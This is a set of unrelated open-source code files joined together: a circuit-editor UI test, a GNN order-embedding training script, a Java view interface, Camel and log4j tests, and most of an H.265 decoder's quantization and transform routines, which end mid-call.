CircuitEditorUtil.AddGroup([grp1, grp2], editingContext, grpCmds, "grp5") Test.Equal(grp5.Wires.Count, 0) #Test.Equal(grp5.Inputs.Count, 0) #Test.Equal(grp5.Outputs.Count, 3) Test.Equal(baselineCnt - 6, editingContext.CircuitContainer.Elements.Count) #undo grouping cntBefore = editingContext.CircuitContainer.Elements.Count atfHistory.DoCommand(StandardCommand.EditUndo) print cntBefore, editingContext.CircuitContainer.Elements.Count Test.Equal(cntBefore + 1, editingContext.CircuitContainer.Elements.Count) print("Ungrouping a couple groups") baselineCnt = editingContext.CircuitContainer.Elements.Count editingContext.Selection.SetRange([grp4]) grpCmds.DoCommand(Sce.Atf.Applications.StandardCommand.EditUngroup) Test.Equal(baselineCnt + 4, editingContext.CircuitContainer.Elements.Count) #after ungroup, the items should go back to their original locations Test.Equal(locations[0][0], sound.Position.X) Test.Equal(locations[0][1], sound.Position.Y) Test.Equal(locations[1][0], and1.Position.X) Test.Equal(locations[1][1], and1.Position.Y) Test.Equal(locations[2][0], and2.Position.X) Test.Equal(locations[2][1], and2.Position.Y) Test.Equal(locations[3][0], or1.Position.X) Test.Equal(locations[3][1], or1.Position.Y) Test.Equal(locations[4][0], or2.Position.X) Test.Equal(locations[4][1], or2.Position.Y) editingContext.Selection.SetRange([grp5]) grpCmds.DoCommand(Sce.Atf.Applications.StandardCommand.EditUngroup) Test.Equal(baselineCnt + 4, editingContext.CircuitContainer.Elements.Count) print("Deleting groups") editingContext.Selection.SetRange([grp3]) atfEdit.Delete() Test.Equal(baselineCnt + 3, editingContext.CircuitContainer.Elements.Count) editingContext.Selection.SetRange([grp1]) atfEdit.Delete() Test.Equal(baselineCnt + 2, editingContext.CircuitContainer.Elements.Count) print Test.SUCCESS
2,915
412
<reponame>ruth-ann/deepsnap """Train the order embedding model""" import argparse from collections import defaultdict from itertools import permutations import pickle from queue import PriorityQueue import os import random import time from deepsnap.batch import Batch import networkx as nx import numpy as np from sklearn.manifold import TSNE from sklearn.metrics import roc_auc_score, confusion_matrix from sklearn.metrics import precision_recall_curve import torch import torch.nn as nn import torch.multiprocessing as mp import torch.nn.functional as F import torch.optim as optim from torch.utils.tensorboard import SummaryWriter from torch_geometric.data import DataLoader from torch_geometric.datasets import TUDataset import torch_geometric.utils as pyg_utils import torch_geometric.nn as pyg_nn import data #import data_random_basis as data import models import utils #import matplotlib.pyplot as plt #import matplotlib.colors as mcolors def arg_parse(): parser = argparse.ArgumentParser(description='GNN arguments.') parser.add_argument('--conv_type', type=str, help='type of model') parser.add_argument('--method_type', type=str, help='type of convolution') parser.add_argument('--batch_size', type=int, help='Training batch size') parser.add_argument('--n_layers', type=int, help='Number of graph conv layers') parser.add_argument('--hidden_dim', type=int, help='Training hidden size') parser.add_argument('--max_graph_size', type=int, help='max training graph size') parser.add_argument('--n_batches', type=int, help='Number of training minibatches') parser.add_argument('--margin', type=float, help='margin for loss') parser.add_argument('--dataset', type=str, help='Dataset') parser.add_argument('--dataset_type', type=str, help='"otf-syn" or "syn" or "real"') parser.add_argument('--eval_interval', type=int, help='how often to eval during training') parser.add_argument('--val_size', type=int, help='validation set size') parser.add_argument('--model_path', type=str, help='path to save/load model') parser.add_argument('--start_weights', type=str, help='file to load weights from') parser.add_argument('--test', action="store_true") parser.add_argument('--n_workers', type=int) parser.set_defaults(conv_type='SAGE', method_type='order', dataset='enzymes', dataset_type='real', n_layers=4, batch_size=64, hidden_dim=64, dropout=0.0, n_batches=1000000, lr=1e-4, margin=0.1, test_set='', eval_interval=100, n_workers=4, model_path="ckpt/model.pt", start_weights='', max_graph_size=20, val_size=1024) return parser.parse_args() def build_model(args): # build model # set the input dimension to be the dimension of node labels of the dataset if args.dataset == "enzymes": dim = 3 elif args.dataset == "cox2": dim = 35 elif args.dataset == "imdb-binary": dim = 1 model = models.BaselineMLP(dim, args.hidden_dim, args) model.to(utils.get_device()) if args.start_weights: model.load_state_dict(torch.load(args.start_weights, map_location=utils.get_device())) return model def train_epoch(args, model, data_source, opt): """Train the order embedding model. args: Commandline arguments """ # data_source = data.DataSource(dataset_name) batch_num = 0 #for batch_num in range(args.n_batches): loaders = data_source.gen_data_loaders(args.batch_size, train=True) for batch_target, batch_neg_target, batch_neg_query in zip(*loaders): # train model.train() model.zero_grad() pos_a, pos_b, neg_a, neg_b = data_source.gen_batch(batch_target, batch_neg_target, batch_neg_query, True) pos_a = pos_a.to(utils.get_device()) pos_b = pos_b.to(utils.get_device()) neg_a = neg_a.to(utils.get_device()) neg_b = neg_b.to(utils.get_device()) emb_pos_a, emb_pos_b = model.emb_model(pos_a), model.emb_model(pos_b) emb_neg_a, emb_neg_b = model.emb_model(neg_a), model.emb_model(neg_b) emb_as = torch.cat((emb_pos_a, emb_neg_a), dim=0) emb_bs = torch.cat((emb_pos_b, emb_neg_b), dim=0) labels = torch.tensor([1]*pos_a.num_graphs + [0]*neg_a.num_graphs).to( utils.get_device()) pred = model(emb_as, emb_bs) loss = model.criterion(pred, labels) loss.backward() if not args.test: opt.step() pred = model.predict(pred) train_acc = torch.mean((pred == labels).type(torch.float)) train_loss = loss.item() print("Batch {}. Loss: {:.4f}. Training acc: {:.4f}".format( batch_num, train_loss, train_acc), end=" \r") batch_num += 1 #logger.add_scalar("Loss/train", train_loss, 0) #logger.add_scalar("Accuracy/train", train_acc, 0) def validation(args, model, data_source, logger, batch_n): # test on new motifs model.eval() all_raw_preds, all_preds, all_labels = [], [], [] loaders = data_source.gen_data_loaders(args.batch_size, train=False) for batch_target, batch_neg_target, batch_neg_query in zip(*loaders): pos_a, pos_b, neg_a, neg_b = data_source.gen_batch(batch_target, batch_neg_target, batch_neg_query, False) pos_a = pos_a.to(utils.get_device()) pos_b = pos_b.to(utils.get_device()) neg_a = neg_a.to(utils.get_device()) neg_b = neg_b.to(utils.get_device()) with torch.no_grad(): if args.dataset_type in ["real", "otf-syn"]: emb_pos_a, emb_pos_b = (model.emb_model(pos_a), model.emb_model(pos_b)) emb_neg_a, emb_neg_b = (model.emb_model(neg_a), model.emb_model(neg_b)) emb_as = torch.cat((emb_pos_a, emb_neg_a), dim=0) emb_bs = torch.cat((emb_pos_b, emb_neg_b), dim=0) labels = torch.tensor([1]*pos_a.num_graphs + [0]*neg_a.num_graphs).to(utils.get_device()) raw_pred = model(emb_as, emb_bs) pred = model.predict(raw_pred) raw_pred = raw_pred[:,1] all_raw_preds.append(raw_pred) all_preds.append(pred) all_labels.append(labels) pred = torch.cat(all_preds, dim=-1) labels = torch.cat(all_labels, dim=-1) raw_pred = torch.cat(all_raw_preds, dim=-1) acc = torch.mean((pred == labels).type(torch.float)) prec = (torch.sum(pred * labels).item() / torch.sum(pred).item() if torch.sum(pred) > 0 else float("NaN")) recall = (torch.sum(pred * labels).item() / torch.sum(labels).item() if torch.sum(labels) > 0 else float("NaN")) labels = labels.detach().cpu().numpy() raw_pred = raw_pred.detach().cpu().numpy() pred = pred.detach().cpu().numpy() auroc = roc_auc_score(labels, raw_pred) tn, fp, fn, tp = confusion_matrix(labels, pred).ravel() print("\nValidation. Acc: {:.4f}. " "P: {:.4f}. R: {:.4f}. AUROC: {:.4f}\n " "TN: {}. FP: {}. FN: {}. TP: {}".format( acc, prec, recall, auroc, tn, fp, fn, tp)) logger.add_scalar("Accuracy/test", acc, batch_n) logger.add_scalar("Precision/test", prec, batch_n) logger.add_scalar("Recall/test", recall, batch_n) logger.add_scalar("AUROC/test", auroc, batch_n) logger.add_scalar("TP/test", tp, batch_n) logger.add_scalar("TN/test", tn, batch_n) logger.add_scalar("FP/test", fp, batch_n) logger.add_scalar("FN/test", fn, batch_n) def main(): args = arg_parse() # see test-tube #args = hyp_search.hyp_arg_parse() if not os.path.exists(os.path.dirname(args.model_path)): os.makedirs(os.path.dirname(args.model_path)) print("Starting {} workers".format(args.n_workers)) print("Using dataset {}".format(args.dataset)) record_keys = ["conv_type", "n_layers", "hidden_dim", "margin", "dataset", "dataset_type", "max_graph_size", "skip"] args_str = ".".join(["{}={}".format(k, v) for k, v in sorted(vars(args).items()) if k in record_keys]) logger = SummaryWriter("log/" + args_str) model = build_model(args) data_source = data.DataSource(args.dataset) opt = optim.Adam(model.parameters(), args.lr) if args.test: validation(args, model, data_source, logger, 0, make_pr_curve=True) else: batch_n = 0 for epoch in range(args.n_batches // args.eval_interval): print("Epoch", epoch) train_epoch(args, model, data_source, opt) validation(args, model, data_source, logger, batch_n) if not args.test: print("Saving {}".format(args.model_path)) torch.save(model.state_dict(), args.model_path) if __name__ == '__main__': main()
4,583
1,444
<reponame>GabrielSturtevant/mage package mage.view; import mage.players.PlayableObjectStats; /** * @author JayDi85 */ public interface SelectableObjectView { boolean isPlayable(); void setPlayableStats(PlayableObjectStats playableStats); PlayableObjectStats getPlayableStats(); boolean isChoosable(); void setChoosable(boolean isChoosable); boolean isSelected(); void setSelected(boolean isSelected); }
144
4,262
<gh_stars>1000+ /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.camel.impl.engine; import org.apache.camel.impl.DefaultCamelContext; import org.apache.camel.spi.PackageScanResourceResolver; import org.junit.jupiter.api.Test; import static org.assertj.core.api.Assertions.assertThat; public class DefaultPackageScanResourceResolverTest { @Test public void testFileResourcesScan() throws Exception { final DefaultCamelContext ctx = new DefaultCamelContext(); final PackageScanResourceResolver resolver = ctx.getPackageScanResourceResolver(); assertThat(resolver.findResources("file:src/test/resources/org/apache/camel/impl/engine/**/*.xml")) .hasSize(4) .anyMatch(r -> r.getLocation().contains("ar/camel-scan.xml")) .anyMatch(r -> r.getLocation().contains("ar/camel-dummy.xml")) .anyMatch(r -> r.getLocation().contains("br/camel-scan.xml")) .anyMatch(r -> r.getLocation().contains("br/camel-dummy.xml")); assertThat(resolver.findResources("file:src/test/resources/org/apache/camel/impl/engine/a?/*.xml")) .hasSize(2) .anyMatch(r -> r.getLocation().contains("ar/camel-scan.xml")) .anyMatch(r -> r.getLocation().contains("ar/camel-dummy.xml")); assertThat(resolver.findResources("file:src/test/resources/org/apache/camel/impl/engine/b?/*.xml")) .hasSize(2) .anyMatch(r -> r.getLocation().contains("br/camel-scan.xml")) .anyMatch(r -> r.getLocation().contains("br/camel-dummy.xml")); assertThat(resolver.findResources("file:src/test/resources/org/apache/camel/impl/engine/c?/*.xml")) .isEmpty(); } }
942
3,034
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache license, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the license for the specific language governing permissions and * limitations under the license. */ package org.apache.logging.log4j.core.test; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.LoggerContext; /** * Used to profile obtaining a Logger */ public class GetLogger { public static void main(String[] args) { int count = Integer.parseInt(args[0]); LoggerContext loggerContext = (LoggerContext) LogManager.getContext(false); for (int i = 0; i < count; ++i) { Logger logger = LogManager.getLogger("Logger" + i); logger.debug("This is a test"); } System.out.println("Number of Loggers: " + loggerContext.getLoggers().size()); } }
461
675
/* * H.265 video codec. * Copyright (c) 2013-2014 struktur AG, <NAME> <<EMAIL>> * * This file is part of libde265. * * libde265 is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation, either version 3 of * the License, or (at your option) any later version. * * libde265 is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with libde265. If not, see <http://www.gnu.org/licenses/>. */ #include "transform.h" #include "util.h" #include <assert.h> const int tab8_22[] = { 29,30,31,32,33,33,34,34,35,35,36,36,37 /*,37*/ }; // (8.6.1) void decode_quantization_parameters(thread_context* tctx, int xC,int yC, int xCUBase, int yCUBase) { logtrace(LogTransform,">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> decode_quantization_parameters(int xC,int yC)=(%d,%d)\n", xC,yC); const pic_parameter_set& pps = tctx->img->get_pps(); const seq_parameter_set& sps = tctx->img->get_sps(); slice_segment_header* shdr = tctx->shdr; // top left pixel position of current quantization group int xQG = xCUBase - (xCUBase & ((1<<pps.Log2MinCuQpDeltaSize)-1)); int yQG = yCUBase - (yCUBase & ((1<<pps.Log2MinCuQpDeltaSize)-1)); logtrace(LogTransform,"QG: %d,%d\n",xQG,yQG); // we only have to set QP in the first call in a quantization-group /* TODO: check why this does not work with HoneyBee stream if (xQG == tctx->currentQG_x && yQG == tctx->currentQG_y) { return; } */ // if first QG in CU, remember last QPY of last CU previous QG if (xQG != tctx->currentQG_x || yQG != tctx->currentQG_y) { tctx->lastQPYinPreviousQG = tctx->currentQPY; tctx->currentQG_x = xQG; tctx->currentQG_y = yQG; } int qPY_PRED; // first QG in CTB row ? int ctbLSBMask = ((1<<sps.Log2CtbSizeY)-1); bool firstInCTBRow = (xQG == 0 && ((yQG & ctbLSBMask)==0)); // first QG in slice ? TODO: a "firstQG" flag in the thread context would be faster int first_ctb_in_slice_RS = tctx->shdr->SliceAddrRS; int SliceStartX = (first_ctb_in_slice_RS % sps.PicWidthInCtbsY) * sps.CtbSizeY; int SliceStartY = (first_ctb_in_slice_RS / sps.PicWidthInCtbsY) * sps.CtbSizeY; bool firstQGInSlice = (SliceStartX == xQG && SliceStartY == yQG); // first QG in tile ? bool firstQGInTile = false; if (pps.tiles_enabled_flag) { if ((xQG & ((1 << sps.Log2CtbSizeY)-1)) == 0 && (yQG & ((1 << sps.Log2CtbSizeY)-1)) == 0) { int ctbX = xQG >> sps.Log2CtbSizeY; int ctbY = yQG >> sps.Log2CtbSizeY; firstQGInTile = pps.is_tile_start_CTB(ctbX,ctbY); // TODO: this is slow } } if (firstQGInSlice || firstQGInTile || (firstInCTBRow && pps.entropy_coding_sync_enabled_flag)) { qPY_PRED = tctx->shdr->SliceQPY; } else { qPY_PRED = tctx->lastQPYinPreviousQG; } int qPYA,qPYB; if (tctx->img->available_zscan(xQG,yQG, xQG-1,yQG)) { int xTmp = (xQG-1) >> sps.Log2MinTrafoSize; int yTmp = (yQG ) >> sps.Log2MinTrafoSize; int minTbAddrA = pps.MinTbAddrZS[xTmp + yTmp*sps.PicWidthInTbsY]; int ctbAddrA = minTbAddrA >> (2 * (sps.Log2CtbSizeY-sps.Log2MinTrafoSize)); if (ctbAddrA == tctx->CtbAddrInTS) { qPYA = tctx->img->get_QPY(xQG-1,yQG); } else { qPYA = qPY_PRED; } } else { qPYA = qPY_PRED; } if (tctx->img->available_zscan(xQG,yQG, xQG,yQG-1)) { int xTmp = (xQG ) >> sps.Log2MinTrafoSize; int yTmp = (yQG-1) >> sps.Log2MinTrafoSize; int minTbAddrB = pps.MinTbAddrZS[xTmp + yTmp*sps.PicWidthInTbsY]; int ctbAddrB = minTbAddrB >> (2 * (sps.Log2CtbSizeY-sps.Log2MinTrafoSize)); if (ctbAddrB == tctx->CtbAddrInTS) { qPYB = tctx->img->get_QPY(xQG,yQG-1); } else { qPYB = qPY_PRED; } } else { qPYB = qPY_PRED; } qPY_PRED = (qPYA + qPYB + 1)>>1; logtrace(LogTransform,"qPY_PRED = %d (%d, %d)\n",qPY_PRED, qPYA, qPYB); int QPY = ((qPY_PRED + tctx->CuQpDelta + 52+2*sps.QpBdOffset_Y) % (52 + sps.QpBdOffset_Y)) - sps.QpBdOffset_Y; tctx->qPYPrime = QPY + sps.QpBdOffset_Y; int qPiCb = Clip3(-sps.QpBdOffset_C,57, QPY+pps.pic_cb_qp_offset + shdr->slice_cb_qp_offset + tctx->CuQpOffsetCb); int qPiCr = Clip3(-sps.QpBdOffset_C,57, QPY+pps.pic_cr_qp_offset + shdr->slice_cr_qp_offset + tctx->CuQpOffsetCr); logtrace(LogTransform,"qPiCb:%d (%d %d), qPiCr:%d (%d %d)\n", qPiCb, pps.pic_cb_qp_offset, shdr->slice_cb_qp_offset, qPiCr, pps.pic_cr_qp_offset, shdr->slice_cr_qp_offset); int qPCb,qPCr; if (sps.ChromaArrayType == CHROMA_420) { qPCb = table8_22(qPiCb); qPCr = table8_22(qPiCr); } else { qPCb = qPiCb; qPCr = qPiCr; } //printf("q: %d %d\n",qPiCb, qPCb); tctx->qPCbPrime = qPCb + sps.QpBdOffset_C; tctx->qPCrPrime = qPCr + sps.QpBdOffset_C; /* printf("Q: %d (%d %d %d / %d %d) %d %d %d\n",QPY, sps->QpBdOffset_Y, pps->pic_cb_qp_offset + shdr->slice_cb_qp_offset, pps->pic_cr_qp_offset + shdr->slice_cr_qp_offset, sps->QpBdOffset_C, sps->QpBdOffset_C, tctx->qPYPrime, tctx->qPCbPrime, tctx->qPCrPrime); */ int log2CbSize = tctx->img->get_log2CbSize(xCUBase, yCUBase); // TODO: On broken input, log2CbSize may be zero (multithreaded only). Not sure yet why. // Maybe another decoding thread is overwriting the value set in slice.cc:read_coding_unit. // id:000163,sig:06,src:002041,op:havoc,rep:16.bin if (log2CbSize<3) { log2CbSize=3; } tctx->img->set_QPY(xCUBase, yCUBase, log2CbSize, QPY); tctx->currentQPY = QPY; /* printf("SET QPY POC=%d %d;%d-%d;%d = %d\n",ctx->img->PicOrderCntVal,xCUBase,yCUBase, xCUBase+(1<<log2CbSize),yCUBase+(1<<log2CbSize), QPY); */ logtrace(LogTransform,"qPY(%d,%d,%d)= %d, qPYPrime=%d\n", xCUBase,yCUBase,1<<log2CbSize,QPY,tctx->qPYPrime); } template <class pixel_t> void transform_coefficients(acceleration_functions* acceleration, int16_t* coeff, int coeffStride, int nT, int trType, pixel_t* dst, int dstStride, int bit_depth) { logtrace(LogTransform,"transform --- trType: %d nT: %d\n",trType,nT); if (trType==1) { acceleration->transform_4x4_dst_add<pixel_t>(dst, coeff, dstStride, bit_depth); } else { /**/ if (nT==4) { acceleration->transform_add<pixel_t>(0,dst,coeff,dstStride, bit_depth); } else if (nT==8) { acceleration->transform_add<pixel_t>(1,dst,coeff,dstStride, bit_depth); } else if (nT==16) { acceleration->transform_add<pixel_t>(2,dst,coeff,dstStride, bit_depth); } else { acceleration->transform_add<pixel_t>(3,dst,coeff,dstStride, bit_depth); } } #if 0 printf("decoded pixels:\n"); for (int y=0;y<nT;y++,printf("\n")) for (int x=0;x<nT;x++) { printf("%02x ",dst[y*dstStride+x]); } #endif } // TODO: make this an accelerated function void cross_comp_pred(const thread_context* tctx, int32_t* residual, int nT) { const int BitDepthC = tctx->img->get_sps().BitDepth_C; const int BitDepthY = tctx->img->get_sps().BitDepth_Y; for (int y=0;y<nT;y++) for (int x=0;x<nT;x++) { /* TODO: the most usual case is definitely BitDepthY == BitDepthC, in which case we could just omit two shifts. The second most common case is probably BitDepthY>BitDepthC, for which we could also eliminate one shift. The remaining case is also one shift only. */ residual[y*nT+x] += (tctx->ResScaleVal * ((tctx->residual_luma[y*nT+x] << BitDepthC ) >> BitDepthY ) ) >> 3; } } template <class pixel_t> void transform_coefficients_explicit(thread_context* tctx, int16_t* coeff, int coeffStride, int nT, int trType, pixel_t* dst, int dstStride, int bit_depth, int cIdx) { logtrace(LogTransform,"transform --- trType: %d nT: %d\n",trType,nT); const acceleration_functions* acceleration = &tctx->decctx->acceleration; int32_t residual_buffer[32*32]; int32_t* residual; if (cIdx==0) { residual = tctx->residual_luma; } else { residual = residual_buffer; } // TODO int bdShift = 20 - bit_depth; int max_coeff_bits = 15; if (trType==1) { acceleration->transform_idst_4x4(residual, coeff, bdShift, max_coeff_bits); } else { /**/ if (nT==4) { acceleration->transform_idct_4x4(residual,coeff,bdShift,max_coeff_bits); } else if (nT==8) { acceleration->transform_idct_8x8(residual,coeff,bdShift,max_coeff_bits); } else if (nT==16) { acceleration->transform_idct_16x16(residual,coeff,bdShift,max_coeff_bits); } else { acceleration->transform_idct_32x32(residual,coeff,bdShift,max_coeff_bits); } } //printBlk("prediction",(uint8_t*)dst,nT,dstStride); //printBlk("residual",residual,nT,nT); if (cIdx != 0) { if (tctx->ResScaleVal != 0) { cross_comp_pred(tctx, residual, nT); } //printBlk("cross-comp-pred modified residual",residual,nT,nT); } acceleration->add_residual(dst,dstStride, residual,nT, bit_depth); } void inv_transform(acceleration_functions* acceleration, uint8_t* dst, int dstStride, int16_t* coeff, int log2TbSize, int trType) { if (trType==1) { assert(log2TbSize==2); acceleration->transform_4x4_dst_add_8(dst, coeff, dstStride); } else { acceleration->transform_add_8[log2TbSize-2](dst,coeff,dstStride); } #if 0 int nT = 1<<log2TbSize; printf("decoded pixels:\n"); for (int y=0;y<nT;y++,printf("\n")) for (int x=0;x<nT;x++) { printf("%02x ",dst[y*dstStride+x]); } #endif } void fwd_transform(acceleration_functions* acceleration, int16_t* coeff, int coeffStride, int log2TbSize, int trType, const int16_t* src, int srcStride) { logtrace(LogTransform,"transform --- trType: %d nT: %d\n",trType,1<<log2TbSize); if (trType==1) { // DST 4x4 acceleration->fwd_transform_4x4_dst_8(coeff, src, srcStride); } else { // DCT 4x4, 8x8, 16x16, 32x32 acceleration->fwd_transform_8[log2TbSize-2](coeff,src,srcStride); } } static const int levelScale[] = { 40,45,51,57,64,72 }; // (8.6.2) and (8.6.3) template <class pixel_t> void scale_coefficients_internal(thread_context* tctx, int xT,int yT, // position of TU in frame (chroma adapted) int x0,int y0, // position of CU in frame (chroma adapted) int nT, int cIdx, bool transform_skip_flag, bool intra, int rdpcmMode) { const seq_parameter_set& sps = tctx->img->get_sps(); const pic_parameter_set& pps = tctx->img->get_pps(); int qP; switch (cIdx) { case 0: qP = tctx->qPYPrime; break; case 1: qP = tctx->qPCbPrime; break; case 2: qP = tctx->qPCrPrime; break; default: qP = 0; assert(0); break; // should never happen } logtrace(LogTransform,"qP: %d\n",qP); int16_t* coeff; int coeffStride; coeff = tctx->coeffBuf; coeffStride = nT; pixel_t* pred; int stride; pred = tctx->img->get_image_plane_at_pos_NEW<pixel_t>(cIdx, xT,yT); stride = tctx->img->get_image_stride(cIdx); // We explicitly include the case for sizeof(pixel_t)==1 so that the compiler // can optimize away a lot of code for 8-bit pixels. const int bit_depth = ((sizeof(pixel_t)==1) ? 8 : sps.get_bit_depth(cIdx)); //assert(intra == (tctx->img->get_pred_mode(xT,yT)==MODE_INTRA)); int cuPredModeIntra = (tctx->img->get_pred_mode(xT,yT)==MODE_INTRA); bool rotateCoeffs = (sps.range_extension.transform_skip_rotation_enabled_flag && nT == 4 && cuPredModeIntra); if (tctx->cu_transquant_bypass_flag) { int32_t residual_buffer[32*32]; int32_t* residual; if (cIdx==0) residual = tctx->residual_luma; else residual = residual_buffer; // TODO: we could fold the coefficient rotation into the coefficient expansion here: for (int i=0;i<tctx->nCoeff[cIdx];i++) { int32_t currCoeff = tctx->coeffList[cIdx][i]; tctx->coeffBuf[ tctx->coeffPos[cIdx][i] ] = currCoeff; } if (rotateCoeffs) { tctx->decctx->acceleration.rotate_coefficients(coeff, nT); } if (rdpcmMode) { if (rdpcmMode==2) tctx->decctx->acceleration.transform_bypass_rdpcm_v(residual, coeff, nT); else tctx->decctx->acceleration.transform_bypass_rdpcm_h(residual, coeff, nT); } else { tctx->decctx->acceleration.transform_bypass(residual, coeff, nT); } if (cIdx != 0) { if (tctx->ResScaleVal != 0) { cross_comp_pred(tctx, residual, nT); } } tctx->decctx->acceleration.add_residual(pred,stride, residual,nT, bit_depth); if (rotateCoeffs) { memset(coeff, 0, nT*nT*sizeof(int16_t)); // delete all, because we moved the coeffs around } } else { // (8.6.3) int bdShift = (cIdx==0 ? sps.BitDepth_Y : sps.BitDepth_C) + Log2(nT) - 5; logtrace(LogTransform,"bdShift=%d\n",bdShift); logtrace(LogTransform,"dequant %d;%d cIdx=%d qp=%d\n",xT*(cIdx?2:1),yT*(cIdx?2:1),cIdx,qP); // --- inverse quantization --- if (sps.scaling_list_enable_flag==0) { //const int m_x_y = 16; const int m_x_y = 1; bdShift -= 4; // this is equivalent to having a m_x_y of 16 and we can use 32bit integers const int offset = (1<<(bdShift-1)); const int fact = m_x_y * levelScale[qP%6] << (qP/6); for (int i=0;i<tctx->nCoeff[cIdx];i++) { // usually, this needs to be 64bit, but because we modify the shift above, we can use 16 bit int32_t currCoeff = tctx->coeffList[cIdx][i]; //logtrace(LogTransform,"coefficient[%d] = %d\n",tctx->coeffPos[cIdx][i], //tctx->coeffList[cIdx][i]); currCoeff = Clip3(-32768,32767, ( (currCoeff * fact + offset ) >> bdShift)); //logtrace(LogTransform," -> %d\n",currCoeff); tctx->coeffBuf[ tctx->coeffPos[cIdx][i] ] = currCoeff; } } else { const int offset = (1<<(bdShift-1)); const uint8_t* sclist; int matrixID = cIdx; if (!intra) { if (nT<32) { matrixID += 3; } else { matrixID++; } } switch (nT) { case 4: sclist = &pps.scaling_list.ScalingFactor_Size0[matrixID][0][0]; break; case 8: sclist = &pps.scaling_list.ScalingFactor_Size1[matrixID][0][0]; break; case 16: sclist = &pps.scaling_list.ScalingFactor_Size2[matrixID][0][0]; break; case 32: sclist = &pps.scaling_list.ScalingFactor_Size3[matrixID][0][0]; break; default: assert(0); } for (int i=0;i<tctx->nCoeff[cIdx];i++) { int pos = tctx->coeffPos[cIdx][i]; int x = pos%nT; int y = pos/nT; const int m_x_y = sclist[x+y*nT]; const int fact = m_x_y * levelScale[qP%6] << (qP/6); int64_t currCoeff = tctx->coeffList[cIdx][i]; currCoeff = Clip3(-32768,32767, ( (currCoeff * fact + offset ) >> bdShift)); tctx->coeffBuf[ tctx->coeffPos[cIdx][i] ] = currCoeff; } } // --- do transform or skip --- logtrace(LogTransform,"coefficients OUT:\n"); for (int y=0;y<nT;y++) { logtrace(LogTransform," "); for (int x=0;x<nT;x++) { logtrace(LogTransform,"*%3d ", coeff[x+y*coeffStride]); } logtrace(LogTransform,"*\n"); } int bdShift2 = (cIdx==0) ? 20-sps.BitDepth_Y : 20-sps.BitDepth_C; logtrace(LogTransform,"bdShift2=%d\n",bdShift2); logtrace(LogSlice,"get_transform_skip_flag(%d,%d, cIdx=%d)=%d\n",xT,yT,cIdx, transform_skip_flag); if (transform_skip_flag) { int extended_precision_processing_flag = 0; int Log2nTbS = Log2(nT); int bdShift = libde265_max( 20 - bit_depth, extended_precision_processing_flag ? 11 : 0 ); int tsShift = (extended_precision_processing_flag ? libde265_min( 5, bdShift - 2 ) : 5 ) + Log2nTbS; if (rotateCoeffs) { tctx->decctx->acceleration.rotate_coefficients(coeff, nT); } int32_t residual_buffer[32*32]; int32_t* residual; if (cIdx==0) residual = tctx->residual_luma; else residual = residual_buffer; if (rdpcmMode) { /* if (rdpcmMode==2) tctx->decctx->acceleration.transform_skip_rdpcm_v(pred,coeff, Log2(nT), stride, bit_depth); else tctx->decctx->acceleration.transform_skip_rdpcm_h(pred,coeff, Log2(nT), stride, bit_depth); */ if (rdpcmMode==2) tctx->decctx->acceleration.rdpcm_v(residual, coeff,nT, tsShift,bdShift); else tctx->decctx->acceleration.rdpcm_h(residual, coeff,nT, tsShift,bdShift); } else { //tctx->decctx->acceleration.transform_skip(pred, coeff, stride, bit_depth); tctx->decctx->acceleration.transform_skip_residual(residual, coeff, nT, tsShift, bdShift); } if (cIdx != 0) { if (tctx->ResScaleVal != 0) { cross_comp_pred(tctx, residual, nT); } } tctx->decctx->acceleration.add_residual(pred,stride, residual,nT, bit_depth); if (rotateCoeffs) { memset(coeff, 0, nT*nT*sizeof(int16_t)); // delete all, because we moved the coeffs around } } else { int trType; //if (nT==4 && cIdx==0 && tctx->img->get_pred_mode(xT,yT)==MODE_INTRA) { if (nT==4 && cIdx==0 && cuPredModeIntra) { trType=1; } else { trType=0; } assert(rdpcmMode==0); if (tctx->img->get_pps().range_extension.cross_component_prediction_enabled_flag) { // cross-component-prediction: transform to residual buffer and add in a separate step transform_coefficients_explicit(tctx, coeff, coeffStride, nT, trType, pred, stride, bit_depth, cIdx); } else { transform_coefficients(&tctx->decctx->acceleration, coeff, coeffStride, nT, trType, pred, stride, bit_depth); } } } logtrace(LogTransform,"pixels (cIdx:%d), position %d %d:\n",cIdx, xT,yT); for (int y=0;y<nT;y++) { logtrace(LogTransform,"RECO-%3d-%3d-%d ",xT,yT+y,cIdx); for (int x=0;x<nT;x++) { logtrace(LogTransform,"*%03x ", pred[x+y*stride]); } logtrace(LogTransform,"*\n"); } // zero out scrap coefficient buffer again for (int i=0;i<tctx->nCoeff[cIdx];i++) { tctx->coeffBuf[ tctx->coeffPos[cIdx][i] ] = 0; } } void scale_coefficients(thread_context* tctx, int xT,int yT, // position of TU in frame (chroma adapted) int x0,int y0, // position of CU in frame (chroma adapted) int nT, int cIdx, bool transform_skip_flag, bool intra, int rdpcmMode // 0 - off, 1 - Horizontal, 2 - Vertical ) { if (tctx->img->high_bit_depth(cIdx)) { scale_coefficients_internal<uint16_t>(tctx, xT,yT, x0,y0, nT,cIdx, transform_skip_flag, intra, rdpcmMode); } else { scale_coefficients_internal<uint8_t> (tctx, xT,yT, x0,y0, nT,cIdx, transform_skip_flag, intra, 